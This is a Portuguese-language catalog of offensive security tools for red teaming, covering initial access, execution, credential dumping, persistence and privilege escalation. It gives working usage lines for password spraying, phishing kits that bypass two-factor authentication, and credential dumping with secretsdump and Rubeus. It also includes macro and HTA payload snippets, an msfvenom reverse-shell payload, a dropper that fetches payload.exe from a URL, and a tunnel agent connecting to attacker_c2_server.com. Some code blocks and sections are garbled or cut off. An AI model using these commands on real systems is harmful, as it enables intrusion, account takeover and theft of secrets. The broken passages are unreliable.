### [🔙](#tool-list)[NTAPI Undocumented Functions](http://undocumented.ntinternals.net/)
Este site fornece informações sobre internals não documentados do Windows, chamadas de sistema, estruturas de dados e outros detalhes de baixo nível do sistema operacional Windows.
Pode ser um recurso valioso para indivíduos que desejam explorar os internals do Windows para diversos fins, incluindo análise de vulnerabilidades, desenvolvimento de exploits e escalonamento de privilégios.
Ao desenvolver exploits, compreender os internals do sistema alvo é crucial. Este site pode ajudar no desenvolvimento de exploits ao aproveitar os aspectos não documentados de baixo nível do Windows.
**Uso:**
Visite [http://undocumented.ntinternals.net/](http://undocumented.ntinternals.net/)
*Imagem usada de http://undocumented.ntinternals.net/*
### [🔙](#tool-list)[Kernel Callback Functions](https://codemachine.com/articles/kernel_callback_functions.html)
Esta nota técnica fornece uma lista abrangente de todas as APIs exportadas pelo Kernel do Windows, para que gravadores de drivers registrem rotinas de callback que são invocadas por componentes do kernel em várias circunstâncias.
A maioria dessas rotinas está documentada no Windows Driver Kit (WDK), mas algumas são destinadas ao uso por drivers internos.
As funções não documentadas são descritas brevemente, enquanto as documentadas são apenas listadas aqui para referência.
**Uso:**
Visite [https://codemachine.com/articles/kernel_callback_functions.html](https://codemachine.com/articles/kernel_callback_functions.html)
*Imagem usada de https://codemachine.com*
### [🔙](#tool-list)[OffensiveVBA](https://github.com/S3cur3Th1sSh1t/OffensiveVBA)
Uma coleção de técnicas ofensivas, scripts e links úteis para obter execução de código e evasão de defesa por meio de macros do Office.
**Uso:**
Visite [https://github.com/S3cur3Th1sSh1t/OffensiveVBA#templates-in-this-repo](https://github.com/S3cur3Th1sSh1t/OffensiveVBA#templates-in-this-repo)
*Imagem usada de https://github.com/S3cur3Th1sSh1t*
### [🔙](#tool-list)WSH
**Criando payload:**```vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
Executar:```bash wscript payload.vbs cscript.exe payload.vbs wscript /e:VBScript payload.txt //If .vbs files are blacklisted
### [🔙](#tool-list)HTA
**Criando payload:**```html
<html>
<body>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
Executar: Executar arquivo
Criando payload:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**Executar:** Definir função para Auto_Open() em documento habilitado para macro
Acesso Inicial
====================
### [🔙](#tool-list)[CredMaster](https://github.com/knavesec/CredMaster)
Lançar um ataque de pulverização de senhas / força bruta através de proxies de passagem da Amazon AWS, alterando o endereço IP de solicitação para cada tentativa de autenticação. Isso cria dinamicamente APIs FireProx para pulverizações de senhas mais evasivas.
O CredMaster fornece um método de executar pulverizações de senhas anônimas contra endpoints em uma ferramenta simples e fácil de usar. A ferramenta FireProx fornece o IP de solicitação rotativo, enquanto a base do CredMaster falsifica todas as outras informações de identificação.
Funcionalidades:
- Suporta totalmente todas as regiões da AWS
- Gera automaticamente APIs para passagem de proxy
- Falsifica números de rastreamento de API, IPs de encaminhamento e outros cabeçalhos de rastreamento de proxy
- Processamento multi-thread
- Contadores de atraso de senha e configuração para evasão de política de bloqueio
- Adicione facilmente novos plugins
- Totalmente anônimo
**Instalação:**```bash
git clone https://github.com/knavesec/CredMaster;cd CredMaster;pip install -r requirements.txt
Para instruções completas de instalação, veja aqui.
Uso:```bash python3 credmaster.py --plugin {pluginname} --access_key {key} --secret_access_key {key} -u userfile -p passwordfile -a useragentfile {otherargs} python3 credmaster.py --config config.json
Esta ferramenta requer chaves de acesso à API AWS, um passo a passo de como obter essas chaves pode ser encontrado aqui: https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b
*Imagem usada de https://github.com/knavesec/CredMaster/wiki*
### [🔙](#tool-list)[TREVORspray](https://github.com/blacklanternsecurity/TREVORspray)
TREVORspray é um pulverizador de senhas modular com threading, proxy SSH, módulos de loot e mais!
**Instalação:**```bash
pip install https://github.com/blacklanternsecurity/TREVORspray
Uso:```bash
python3 ./trevorspray --recon evilcorp.com
python3 ./trevorspray --recon evilcorp.com -u emails.txt --threads 10
python3 ./trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b43asdas-cdde-bse-ac05-2e37deadbeef/oauth2/token
Para instruções de uso completas, consulte [aqui](https://github.com/blacklanternsecurity/TREVORspray?tab=readme-ov-file#how-to---o365).
*Imagem usada de https://github.com/blacklanternsecurity/TREVORspray*
### [🔙](#tool-list)[evilqr](https://github.com/kgretzky/evilqr)
Kit de ferramentas demonstrando uma outra abordagem do ataque QRLJacking, permitindo realizar a tomada remota de contas através de phishing com QR code de login.
Consiste em uma extensão de navegador usada pelo atacante para extrair o QR code de login e uma aplicação servidora, que recupera os QR codes de login para exibi-los nas páginas de phishing hospedadas.
Demonstração em [vídeo](https://www.youtube.com/watch?v=8pfodWzqMcU)
**Instalação: (Extensão)**
Você pode carregar a extensão no Chrome através do recurso `Carregar sem compactação`:
https://developer.chrome.com/docs/extensions/mv3/getstarted/development-basics/#load-unpacked
Depois que a extensão estiver instalada, certifique-se de fixar seu ícone na barra de ferramentas de extensões do Chrome, para que o ícone fique sempre visível.
**Instalação: (Servidor)**```bash
git clone https://github.com/kgretzky/evilqr;cd evilqr/server/;build_run.bat
Uso:
./server/build/evilqr-server3. Certifique-se de que o código QR de login está visível e clique no ícone da extensão **Evil QR** na barra de ferramentas. Se o código QR for reconhecido, o ícone deve acender com cores.
4. Abra a URL da página de phishing do servidor: `http://127.0.0.1:35000` (padrão)
*Imagem usada de https://breakdev.org/evilqr-phishing/*
### [🔙](#tool-list)[CUPP](https://github.com/Mebus/cupp)
A forma mais comum de autenticação é a combinação de um nome de usuário e uma senha ou frase secreta. As senhas às vezes podem ser descobertas ao traçar o perfil do usuário, como aniversário, apelido, endereço, nome de um animal de estimação ou parente, ou uma palavra comum como Deus, amor, dinheiro ou senha.
Foi por isso que o CUPP nasceu.
**Instalação:**```bash
git clone https://github.com/Mebus/cupp;cd cupp
Uso:```bash
python3 ./cupp.py -i
*Imagem usada de https://github.com/Mebus/cupp*
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
O Bash Bunny é uma ferramenta de ataque USB física e um sistema de entrega de payload multifuncional. Ele é projetado para ser conectado a uma porta USB de um computador e pode ser programado para realizar uma variedade de funções, incluindo manipular e exfiltrar dados, instalar malware e contornar medidas de segurança.
[hackinglab: Bash Bunny – Guia](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Documentação Hak5](https://docs.hak5.org/bash-bunny/)
[Repositório de Payloads Legais](https://github.com/hak5/bashbunny-payloads)
[Página do Produto](https://hak5.org/products/bash-bunny)
### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) Gophish é um poderoso framework de phishing de código aberto que facilita testar a exposição da sua organização a phishing. (evilginx2) Framework autônomo de ataque man-in-the-middle usado para phishing de credenciais de login juntamente com cookies de sessão, permitindo contornar a autenticação de dois fatores.
**Instalação:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
Uso:``` Usage: ./setup <subdomain(s)>
### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)
Este framework é excelente para criar campanhas de acesso inicial. 'O SET possui uma série de vetores de ataque personalizados que permitem criar um ataque convincente rapidamente'.
**Instalação:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
Uso:```bash python3 setoolkit
### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
Ferramenta útil para ataques de força bruta de login. Pode realizar brute force em vários serviços, incluindo SSH, FTP, TELNET, HTTP etc.
**Instalação:**```bash
sudo apt install hydra
Uso:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish é uma ferramenta avançada de phishing que utiliza uma técnica que combina o fluxo de autenticação de código de dispositivo OAuth e códigos QR (Veja [PhishInSuits](https://github.com/secureworks/PhishInSuits) para mais informações sobre o fluxo de código de dispositivo OAuth em ataques de phishing).
Etapas do ataque:
- Enviar código QR malicioso para a vítima
- Vítima escaneia o código QR com dispositivo móvel
- Vítima direcionada para servidor controlado pelo atacante (Iniciando o processo de fluxo de autenticação de código de dispositivo OAuth)
- Vítima recebe código MFA por e-mail (Iniciando o temporizador de 15 minutos do fluxo de código de dispositivo OAuth)
- Atacante consulta a autenticação
- Vítima insere o código no site legítimo da Microsoft
- Atacante salva o token de autenticação
**Instalação:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Nota: Antes de usar qualquer um dos módulos, atualize as informações necessárias no arquivo settings.config indicadas com Required.
Uso (Módulo de Email):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**Uso (Módulo do Servidor):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
O King Phisher é uma ferramenta que permite que atacantes criem e enviem e-mails de phishing para vítimas, a fim de obter informações confidenciais.
Ele inclui funcionalidades como modelos personalizáveis, gerenciamento de campanhas e capacidade de envio de e-mails, tornando-se uma ferramenta poderosa e fácil de usar para realizar ataques de phishing. Com o King Phisher, os atacantes podem mirar indivíduos ou organizações com e-mails de phishing direcionados e convincentes, aumentando as chances de sucesso em seus ataques.
Instalação (Linux - Cliente e Servidor):```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**Uso:**
Após instalar o King Phisher, siga a [página wiki](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started) para configurar SSH, banco de dados, servidor SMTP, etc.
Execução
====================
### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder é uma ferramenta para envenenar os protocolos LLMNR e NBT-NS em uma rede, permitindo a captura de credenciais e a execução arbitrária de código.
Os protocolos LLMNR (Link-Local Multicast Name Resolution) e NBT-NS (NetBIOS Name Service) são usados por sistemas Windows para resolver nomes de host para endereços IP em uma rede local. Se um nome de host não puder ser resolvido usando esses protocolos, o sistema transmitirá uma requisição para o nome de host na rede local.
O Responder escuta essas transmissões e responde com um endereço IP falso, enganando o sistema requisitante para que envie suas credenciais ao atacante.
**Instalação:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
Uso:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
Informações completas de uso podem ser encontradas [aqui](https://github.com/SpiderLabs/Responder#usage).
*Imagem usada de https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/*
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Uma utilidade que faz parte da biblioteca Impacket que pode ser usada para extrair hashes de senhas e outros segredos de um sistema Windows.
Isso é feito interagindo com o banco de dados do Gerenciador de Contas de Segurança (SAM) no sistema e extraindo as senhas hash e outras informações, tais como:
- Hashes de senhas para contas locais
- Tíquetes e chaves Kerberos
- LSA Secrets
**Install:**```bash
python3 -m pip install impacket
Uso:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]
*Imagem usada de https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy*
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM é uma ferramenta que fornece uma interface de linha de comando para o Windows Remote Management (WinRM: *Um serviço que permite que administradores executem comandos remotamente em uma máquina Windows*).
Evil-WinRM permite que um atacante se conecte remotamente a uma máquina Windows usando WinRM e execute comandos arbitrários.
Algumas funcionalidades incluem:
- Carregar scripts Powershell na memória
- Carregar arquivos dll na memória ignorando alguns AVs
- Carregar payloads x64
- Suporte a pass-the-hash
- Fazer upload e download de arquivos locais e remotos
**Instalação: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Instalação: (Ruby gem)```bash gem install evil-winrm
Instruções alternativas de instalação podem ser encontradas [aqui](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods).
**Uso:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
Full usage documentation can be found here.
Imagem usada de https://korbinian-spielvogel.de/posts/heist-writeup/
Uma ferramenta para execução em memória de arquivos VBScript, JScript, EXE, DLL e assemblies dotNET. Pode ser usada para carregar e executar payloads personalizados em sistemas alvo sem a necessidade de gravar arquivos em disco.
Instalação: (Windows)```bash git clone http://github.com/thewover/donut.git
Para gerar o template do loader, a biblioteca dinâmica donut.dll, a biblioteca estática donut.lib e o gerador donut.exe. Inicie um Prompt de Comando do Desenvolvedor do Microsoft Visual Studio x64, mude para o diretório onde você clonou o repositório Donut e digite o seguinte:```bash
nmake -f Makefile.msvc
Para fazer o mesmo, exceto usando MinGW-64 no Windows ou Linux, mude para o diretório onde você clonou o repositório Donut e insira o seguinte:```bash make -f Makefile.mingw
**Instalar: (Linux)**```bash
pip3 install donut-shellcode
Uso:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
Para informações completas de uso, consulte a [Página do GitHub](https://github.com/TheWover/donut/#4-usage) do donut.
Veja [uma postagem recente no blog](https://thewover.github.io/Bear-Claw/) de The Wover para mais informações.
### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
Uma ferramenta usada para automatizar a ofuscação e geração de documentos do Office, scripts VB, atalhos e outros formatos para red teaming.
**Instalação: (Binário)**
1. Obtenha o binário mais recente em [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)
2. Baixe o binário em um PC com Microsoft Office genuíno instalado.
3. Abra o console, navegue até o diretório do binário e chame o binário.
**Instalação: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Uso:```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx
### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
Uma coleção de scripts e módulos do PowerShell que podem ser utilizados para alcançar diversos objetivos de red teaming.
Algumas das funcionalidades do PowerSploit:
- Despejar hashes de senhas e extrair senhas em texto claro da memória
- Elevar privilégios e contornar controles de segurança
- Executar código PowerShell arbitrário e contornar restrições de execução
- Realizar reconhecimento e descoberta de rede
- Gerar payloads e executar exploits
**Instalação:** *1. Salvar na pasta de módulos do PowerShell*
Primeiro, você precisará baixar a [Pasta PowerSploit](https://github.com/PowerShellMafia/PowerSploit) e salvá-la na sua pasta de módulos do PowerShell.
O caminho da sua pasta de módulos do PowerShell pode ser encontrado com o seguinte comando:```
$Env:PSModulePath
Instalar: 2. Instalar o PowerSploit como um módulo do PowerShell
Em seguida, você precisará instalar o módulo PowerSploit (use o nome da pasta baixada).
Nota: Sua política de execução do PowerShell pode bloqueá-lo; para corrigir isso, execute o seguinte comando.``` powershell.exe -ep bypass
Agora você pode instalar o módulo PowerSploit.```
Import-Module PowerSploit
Uso:``` Get-Command -Module PowerSploit
### [🔙](#tool-list)[Rubeus](https://github.com/GhostPack/Rubeus)
Uma ferramenta que pode ser usada para realizar várias ações relacionadas a ambientes do Microsoft Active Directory (AD), como extrair hashes de senhas, criar/excluir usuários e modificar propriedades de usuários.
Algumas das funcionalidades do Rubeus:
- Kerberoasting
- Ataques de golden ticket
- Ataques de silver ticket
**Instalação: (Download)**
Você pode instalar o binário Rubeus não oficial pré-compilado [aqui](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe).
**Instalação: (Compilar)**
Rubeus é compatível com o [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra o [projeto .sln](https://github.com/GhostPack/Rubeus) do rubeus, escolha "Release" e compile.
**Uso:**```
Rubeus.exe -h
Uma ferramenta útil para verificar o endpoint de uma vítima em busca de vulnerabilidades relacionadas a processos de alta integridade, grupos, caminhos sequestráveis, etc.
Instalação: (Download)
Você pode instalar o binário SharpUp pré-compilado não oficial aqui.
Instalação: (Compilar)
SharpUp é compatível com Visual Studio 2015 Community Edition. Abra o projeto .sln do SharpUp, escolha "Release" e compile.
Uso:```bash SharpUp.exe audit #-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths #-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths #-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
### [🔙](#tool-list)[SQLRecon](https://github.com/skahwah/SQLRecon)
MS-SQL (Microsoft SQL Server) é um sistema de gerenciamento de banco de dados relacional desenvolvido e comercializado pela Microsoft.
Este toolkit C# para MS-SQL foi projetado para reconhecimento ofensivo e pós-exploração. Para informações detalhadas de uso sobre cada técnica, consulte o [wiki](https://github.com/skahwah/SQLRecon/wiki).
**Instalação: (Binário)**
Você pode baixar a versão binária mais recente [aqui](https://github.com/skahwah/SQLRecon/releases).
**Uso:**```bash
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
Informações completas de uso podem ser encontradas no wiki.
Informações de uso do módulo da ferramenta podem ser encontradas aqui.
Imagem usada da página de ajuda do SQLRecon
Este recurso é uma coleção das técnicas mais comuns e conhecidas para bypass do AppLocker.
Como o AppLocker pode ser configurado de diferentes maneiras, @api0cradle mantém uma lista verificada de bypasses (que funcionam contra as regras padrão do AppLocker) e uma lista com possíveis técnicas de bypass (dependendo da configuração) ou que foram reivindicadas como bypass por alguém.
Eles também têm uma lista de técnicas genéricas de bypass, bem como uma lista legada de métodos para execução através de DLLs.
Listas Indexadas
Imagem usada de https://github.com/api0cradle/UltimateAppLockerByPassList
Um launcher do Empire baseado em JavaScript e VBScript, que é executado dentro de seu próprio host PowerShell incorporado.
Ambos os launchers são executados dentro de seu próprio host PowerShell incorporado, então não precisamos do PowerShell.exe.
Isso pode ser útil quando uma empresa está bloqueando o PowerShell.exe e/ou usando uma solução de Application Whitelisting, mas não bloqueia a execução de arquivos JS/VBS.
Uso:
Para a versão JavaScript, use a seguinte variável:```javascript var EncodedPayload = ""
Para a versão VBScript use a seguinte variável:```vbscript
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"
Imagem usada de https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
O objetivo deste projeto é gerar arquivos .html que contenham um arquivo HTA criptografado.
A ideia é que, quando seu alvo visitar a página, a chave seja obtida e o HTA seja descriptografado dinamicamente no navegador e enviado diretamente ao usuário.
Esta é uma técnica de evasão para contornar a inspeção de conteúdo / tipo de arquivo implementada por alguns appliances de segurança.
Mais informações técnicas aqui.
Instalação:``` git clone https://github.com/nccgroup/demiguise cd demiguise
**Uso:**```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Imagem usada de https://github.com/nccgroup/demiguise
PowerZure é um projeto PowerShell criado para avaliar e explorar recursos na plataforma de nuvem da Microsoft, o Azure. PowerZure foi criado pela necessidade de um framework que possa realizar tanto reconhecimento quanto exploração do Azure, AzureAD e os recursos associados.
Não há absolutamente nenhuma razão para executar PowerZure na máquina de uma vítima. A autenticação é feita usando um arquivo accesstoken.json existente ou fazendo login via prompt ao entrar no Azure, o que significa que você pode usar o PowerZure com segurança para interagir com a instância de nuvem de uma vítima a partir da sua máquina de operação.
Instalação:```bash Install-Module -Name Az git clone https://github.com/hausec/PowerZure cd PowerZure ipmo C:\path\to\PowerZure.psd1
**Uso:**```bash
# Get a list of AzureAD and Azure objects you have access to
Get-AzureTarget
Blog - Atacando Azure, Azure AD e Apresentando PowerZure
Imagem usada de https://hakin9.org
O Impacket fornece um conjunto de bindings Python de baixo nível para vários protocolos de rede, incluindo SMB, Kerberos e LDAP, além de bibliotecas de alto nível para interagir com serviços de rede e realizar tarefas específicas como extrair hashes de senhas e criar compartilhamentos de rede.
Ele também inclui várias ferramentas de linha de comando que podem ser usadas para realizar diversas tarefas, como extrair bancos de dados SAM, enumerar confianças de domínio e quebrar senhas do Windows.
Instalação:```bash python3 -m pip install impacket
**Instalação: (Com Scripts de Exemplo)**
Baixe e extraia [o pacote](https://github.com/fortra/impacket) e, em seguida, navegue até a pasta de instalação e execute...```bash
python3 -m pip install .
Uso:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
netview.py domain/user:password -target 192.168.10.2
mssqlinstance.py 192.168.1.2
GetADUsers.py domain/user:password@IP
Excelente [folha de dicas](https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/) para uso do Impacket.
### [🔙](#tool-list)[Empire](https://github.com/EmpireProject/Empire)
O Empire é um framework de pós-exploração que permite gerar payloads para estabelecer conexões remotas com sistemas vítimas.
Uma vez que um payload é executado em um sistema vítima, ele estabelece uma conexão de volta ao servidor Empire, que pode então ser usado para emitir comandos e controlar o sistema alvo.
O Empire também inclui vários módulos e scripts embutidos que podem ser usados para realizar tarefas específicas, como extrair hashes de senhas, acessar o registro do Windows e exfiltrar dados.
**Instalação:**```bash
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh
Uso:```bash
./empire
list agents
list listeners
Bela folha de dicas de uso [cheat sheet](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf) por [HarmJoy](https://github.com/HarmJ0y).
### [🔙](#tool-list)[SharPersist](https://github.com/mandiant/SharPersist)
Um kit de ferramentas de persistência no Windows escrito em C#.
O projeto tem uma [wiki](https://github.com/mandiant/SharPersist/wiki).
**Instalação: (Binário)**
Você pode encontrar a versão mais recente [aqui](https://github.com/mandiant/SharPersist/releases).
**Instalação: (Compilar)**
- Baixe os arquivos do projeto do [Repositório GitHub](https://github.com/mandiant/SharPersist).
- Carregue o projeto do Visual Studio e vá para "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
- Vá para "NuGet Package Manager" --> "Package Sources"
- Adicione uma fonte de pacote com a URL "https://api.nuget.org/v3/index.json"
- Instale o pacote NuGet Costura.Fody. A versão mais antiga do Costura.Fody (3.3.3) é necessária, para que você não precise do Visual Studio 2019.
- `Install-Package Costura.Fody -Version 3.3.3`
- Instale o pacote TaskScheduler
- `Install-Package TaskScheduler -Version 2.8.11`
- Agora você pode compilar o projeto por conta própria!
**Uso:**
Uma lista completa de exemplos de uso pode ser encontrada [aqui](https://github.com/mandiant/SharPersist#adding-persistence-triggers-add).```
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Ligolo-ng é uma ferramenta simples, leve e rápida que permite que pentesters estabeleçam túneis a partir de uma conexão reversa TCP/TLS usando uma interface tun (sem a necessidade de SOCKS).
Em vez de usar um proxy SOCKS ou redirecionadores TCP/UDP, Ligolo-ng cria uma pilha de rede em espaço de usuário usando Gvisor.
Ao executar o servidor relay/proxy, uma interface tun é usada, os pacotes enviados para esta interface são traduzidos e, em seguida, transmitidos para a rede remota do agente.
Instalação: (Download)
Binários pré-compilados (Windows/Linux/macOS) estão disponíveis na página de lançamento.
Instalação: (Build)
Construir ligolo-ng (Go >= 1.17 é necessário):```bash go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go
GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go
**Configuração: (Linux)**```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
Configuração: (Windows)
Você precisa baixar o driver Wintun (usado pelo WireGuard) e colocar o wintun.dll na mesma pasta do Ligolo (certifique-se de usar a arquitetura correta).
Configuração: (Servidor proxy)```bash ./proxy -h # Help options ./proxy -autocert # Automatically request LetsEncrypt certificates
**Uso:**
*Inicie o agente no computador alvo (vítima) (nenhuma permissão é necessária!):*```bash
./agent -connect attacker_c2_server.com:11601
Uma sessão deve aparecer no servidor proxy.``` INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Use o comando session para selecionar o agente.```
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
As informações completas de uso podem ser encontradas aqui.
Imagem usada de https://github.com/nicocha30/ligolo-ng#demo
"A Accenture criou uma ferramenta chamada Spartacus, que encontra oportunidades de sequestro de DLL no Windows. Usando o Spartacus como ponto de partida, criamos o Crassus para expandir as capacidades de descoberta de escalação de privilégios no Windows para além da simples busca por arquivos ausentes. As ACLs usadas por arquivos e diretórios de processos privilegiados podem encontrar mais do que apenas procurar arquivos ausentes para atingir o objetivo." - Link
Instalação: (Compilação)
O Crassus foi desenvolvido como um projeto do Visual Studio 2019. Para compilar o Crassus.exe:
Instalação: (pré-compilado)
Se você confia em executar o código de outras pessoas sem saber o que ele faz, o Crassus.exe está disponível neste repositório.
Uso:
Enable Boot Logging.Ctrl-R.boot.PML. O motivo de salvar novamente o arquivo de log é duplo:
Imagem usada de https://github.com/vu-ls/Crassus?tab=readme-ov-file#screenshots
O LinPEAS é uma boa ferramenta de escalação de privilégios detalhada para encontrar rotas de privesc local em endpoints Linux.
Instalação + Uso:```bash curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
### [🔙](#tool-list)[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
O WinPEAS é uma ferramenta de elevação de privilégios bastante detalhada para encontrar caminhos de privesc local em endpoints Windows.
**Instalação + Uso:**```bash
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
O linux smart enumeration é outra boa ferramenta de privesc para Linux, menos verbosa.
Instalação + Uso:```bash curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
### [🔙](#tool-list)[Certify](https://github.com/GhostPack/Certify)
O Certify é uma ferramenta em C# para enumerar e explorar configurações incorretas no Active Directory Certificate Services (AD CS).
O Certify foi projetado para ser usado em conjunto com outras ferramentas e técnicas de red team, como Mimikatz e PowerShell, para permitir que os red teamers realizem vários tipos de ataques, incluindo ataques man-in-the-middle, ataques de impersonação e ataques de elevação de privilégio.
**Principais recursos do Certify:**
- Criação de certificados
- Assinatura de certificados
- Importação de certificados
- Modificação de confiança de certificados
**Instalação: (Compilar)**
O Certify é compatível com o [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra o projeto do Certify [.sln](https://github.com/GhostPack/Certify), escolha "Release" e compile.
**Instalação: (Executar o Certify via PowerShell)**
Se você quiser executar o Certify na memória por meio de um wrapper do PowerShell, primeiro compile o Certify e codifique o assembly resultante em base64:```bash
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
O Certify pode então ser carregado em um script do PowerShell com o seguinte (onde "aa..." é substituído pela string de assembly do Certify codificada em base64):``` $CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
O método Main() e quaisquer argumentos podem então ser invocados da seguinte forma:```
[Certify.Program]::Main("find /vulnerable".Split())
Instruções completas de compilação podem ser encontradas aqui.
Uso:```bash
Certify.exe find /vulnerable
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
